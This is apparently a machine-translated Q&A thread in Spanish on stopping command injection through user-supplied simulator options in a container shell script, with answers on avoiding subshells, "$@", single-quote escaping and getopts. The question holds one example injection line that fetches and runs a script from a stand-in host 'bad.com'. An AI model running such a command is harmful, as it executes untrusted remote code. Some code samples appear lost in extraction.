Tengo una aplicación de contenedor donde necesito permitir que el usuario especifique opciones personalizadas para pasar a un simulador. Sin embargo, quiero asegurarme de que el usuario no inyecte otros comandos a través de las opciones del usuario. ¿Cuál es la mejor manera de lograr esto?
Por ejemplo.
- El usuario proporciona:
-a -b
- La aplicación se ejecuta:
mysim --preset_opt -a -b
Sin embargo, no quiero que esto suceda:
- El usuario proporciona:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- La aplicación se ejecuta:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Actualmente, estoy pensando que podría simplemente rodear cada opción proporcionada por el usuario con comillas simples '
y eliminar cualquier comilla simple proporcionada por el usuario, para que el comando en el último ejemplo resulte ser inofensivo:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Nota: El mysim
comando se ejecuta como parte de un script de shell en un contenedor docker / lxc. Estoy ejecutando Ubuntu.
eval
para ejecutar la aplicación? Si no es así, la inyección no debería ocurrir:x="&& echo Doomed" ; echo $x
eval
. Estoy llamando al ejecutablemysim
dentro de un script de shell. Estoy viendo que la inyección ocurre si simplemente copio la cadena de opciones que proporciona el usuario y la pego al final delmysim
comando.-a -b
. Así que estoy buscando asegurarme de que no se inyecten comandos adicionales en esa cadena.[a-zA-Z0-9 _-]
parezca una opción bastante defensiva.Respuestas:
Si tiene control sobre el programa contenedor, asegúrese de que no invoque una subshell. En el fondo, una instrucción para ejecutar un programa consiste en la ruta completa (absoluta o relativa al directorio actual) al ejecutable, y una lista de cadenas para pasar como argumentos. La búsqueda de RUTA, los argumentos de separación de espacios en blanco, las citas y los operadores de control son proporcionados por el shell. Sin caparazón, sin dolor.
Por ejemplo, con un contenedor Perl, use la forma de lista de
exec
osystem
. En muchos idiomas, llame a una de las funcionesexec
oexecXXX
(ounix.exec
como se llame) en lugar desystem
, oos.spawn
conshell=False
, o lo que sea necesario.Si el contenedor es un script de shell, úselo
"$@"
para pasar los argumentos, por ej.Si no tiene otra opción y el programa contenedor invoca un shell, deberá citar los argumentos antes de pasarlos al shell. La manera fácil de citar argumentos es hacer lo siguiente:
'
(comilla simple) por la cadena de cuatro caracteres'\''
. (por ejemplo, sedon't
conviertedon'\''t
)'
al comienzo de cada argumento y también al final de cada argumento. (por ejemplodon't
, de , sedon'\''t
convierte'don'\''t'
)Si necesita hacer esto en una envoltura de shell, aquí hay una manera.
(Desafortunadamente, la
${VAR//PATTERN/REPLACEMENT}
construcción de bash , que debería ser útil aquí, requiere citas extrañas, y no creo que pueda obtenerla'\''
como texto de reemplazo).fuente
Puede usar el
${VAR//PATTERN/REPLACEMENT}
modismo de Bash para transformar una comilla simple'
introduciendo'\''
primero'\''
una variable (como un paso intermedio) y luego expandiendo esta variable como elREPLACEMENT
elemento en el modismo de Bash mencionado.fuente
Puede utilizar
getopts
en elbash
que puede analizar los argumentos para usted, por ejemplo:fuente